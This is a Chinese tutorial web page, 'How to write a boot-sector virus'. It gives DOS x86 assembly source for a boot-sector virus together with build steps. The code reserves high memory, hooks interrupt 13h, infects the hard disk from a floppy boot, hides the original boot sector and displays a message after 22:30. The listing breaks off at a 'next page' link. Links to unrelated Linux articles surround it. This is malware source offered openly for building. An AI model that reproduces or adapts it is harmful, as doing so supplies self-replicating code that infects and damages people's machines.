当前位置:首页 » 软件开发
开发技术指南» 文章正文
    引言: ;制作方法:tasm boot.asm; tlink boot.asm;;生成boot.exe,执行即可.286.model small.code;程序入口参数;ax=内存高端地址 bx=7c00h 引导程序起始地址;cx=0001h 表示从ch(00)磁道cl(01)扇区读出了本程序;dx=0...
 

 

 ·优盘,linux    »显示摘要«
    摘要: 科技进步到今天,软驱开始慢慢退出市场,取而代之的是优盘。优盘和软盘相比,不但在容量上要大很多,而且在速度上也快了许多。以往建在软盘上的linux由于受限于1.4mb的容量,所以多数被用来做小型路由器、防火墙之类的应用。而今天有了几十mb、几百mb甚至上gb的优盘后,就完全可以提供小型的http、邮件等需要更大存储空间的服务了........ 科技进步到今天,软驱开始慢慢退出市场,取而代之的是优盘......
    摘要:作了一年的linux+arm了,整理了一些东西上来,希望对大家能有点用,欢迎批评指正! uclinux的执行过程 ucinux的启动主要经历三个阶段。首先,必须完成cpu和存储器的硬件初始化,在系统ram中建立程序堆栈和数据段,建立程序的运行时的环境。初始化完成之后,uclinux内核就取得了cpu的控制权,开始操作系统自身的初始化,这包括建立ram中断矢量表、加载设备驱动程序、内存管理模块等等......


怎样编写引导区病毒
;制作方法:tasm boot.asm; tlink boot.asm;

;生成boot.exe,执行即可 【程序编程相关:linux的网络设计与实现

【推荐阅读:[转]TAR命令参数详解

.286 【扩展信息:深入Linux网络核心堆栈

.model small

.code

;程序入口参数

;ax=内存高端地址 bx=7c00h 引导程序起始地址

;cx=0001h 表示从ch(00)磁道cl(01)扇区读出了本程序

;dx=00/80h 表示从dx(00:a驱)(80:c驱)读出了本程序......

;引导区病毒样例

;制作方法:tasm boot.asm; tlink boot.asm;

;生成boot.exe,执行即可

.286

.model small

.code

;程序入口参数

;ax=内存高端地址 bx=7c00h 引导程序起始地址

;cx=0001h 表示从ch(00)磁道cl(01)扇区读出了本程序

;dx=00/80h 表示从dx(00:a驱)(80:c驱)读出了本程序

;ds=es=ss=cs=0 初始段值

off equ <offset>

virussize=off @@end-off @@start

@@start:

    jmp   short @@begin

    virusflag db v ;病毒标志

@@bootdata: ;这里有两个重要数据结构,不能是代码

    org  50h ;病毒从offset50h开始,病毒未用以上数据

@@begin:     ;但其它程序可能使用,故须保留

    mov  bx,7c00h

    mov  sp,bx ;设sp,使ss:sp=0:7c00h

    sti

    mov  ax,ds:[413h] ;得到内存大小(0:413h单元存有以k计数的内存大小)

    dec  ax

    dec  ax

    mov  ds:[413h],ax ;将原内存大小减2k

    mov  cl,06

    shl  ax,cl  ;计算高端内存地址

    mov  es,ax

    xor  di,di

    mov  si,sp

    mov  cx,virussize

    cld

    rep  movsb  ;把病毒搬移到高端地址里

    push ax

    mov  di,off @@highaddr

    push di

    retf       ;跳到高端继续执行

@@highaddr:

    cli        ;修改中断向量前,最好关中断

    xchg ds:[13h*4+2],ax

    mov  cs:[oldint13seg],ax

    mov  ax,off @@newint13

    xchg ds:[13h*4],ax

    mov  cs:[oldint13off],ax ;修改中断13h

    push ds

    pop  es ;把es复位为0

    cmp  dl,80h ;是否从硬盘引导?

    jz   short @@readoldhardboot

    push dx ; 从软盘引导,则传染硬盘

    mov  dl,80h

    call @@optdisk ;调用传染模块

    pop  dx

@@readoldflopyboot:  ;读出原软盘引导程序     

    mov  ax,0201h

    mov  cx,79*100h+17 ;传染时将原引导程序保存在0面79道17扇区中

    mov  dh,00h

    call @@callint13

    jc   short @@readoldflopyboot ;失败,继续读直到成功

@@execoldboot:

    cmp  es:[bx.flags],0aa55h

    jnz  @@execoldboot

    mov  ah,02h

    int  1ah ;取系统时间

    cmp  cx,22*100h+30 ;是否大于22:30分

    jb   @@exitdisp  ;未到,则不显示

    lea  si,virusmsg   

@@dispmsg:

    mov  al,cs:[si]

    inc  si

    mov  ah,0eh

    int  10h   ;显示al中的字符

    or   al,al

    jnz  @@dispmsg

    xor  ax,ax

    int  16h

@@exitdisp:

    mov  cx,0001h ;恢复cx初值

    push es

    push bx

    retf      ;去执行原引导程序

@@readoldhardboot:

    mov  ax,0201h   

    mov  cx,0002h ;传染时将原硬盘主引导程序保存在0面0道2扇区中

    mov  dh,00h   

    call @@callint13 ;读出

    jc   short @@readoldhardboot ;失败,继续读直到成功


...   下一页
 ·利用vsftp配置ftp服务器    »显示摘要«
    摘要:简单设置以及一些参数的含义3.2 vsftp—安全与效能兼备的ftp 服务器 3.2.1 vsftp 概述 ftp,file transfer protocol,这是档案传输的通讯协议,也是一般最常用来传送档案的方式。读者在使用redhat9 的时候,可能会感受到ftp server 有一些改变:第一,就是ftp server 只剩下vsftp,原有的wuftp 等都没放入﹔第二,就是vsftp ......
» 本期热门文章:

©2000-2007 All Rights Reserved. 最佳浏览:1024X768 MSIE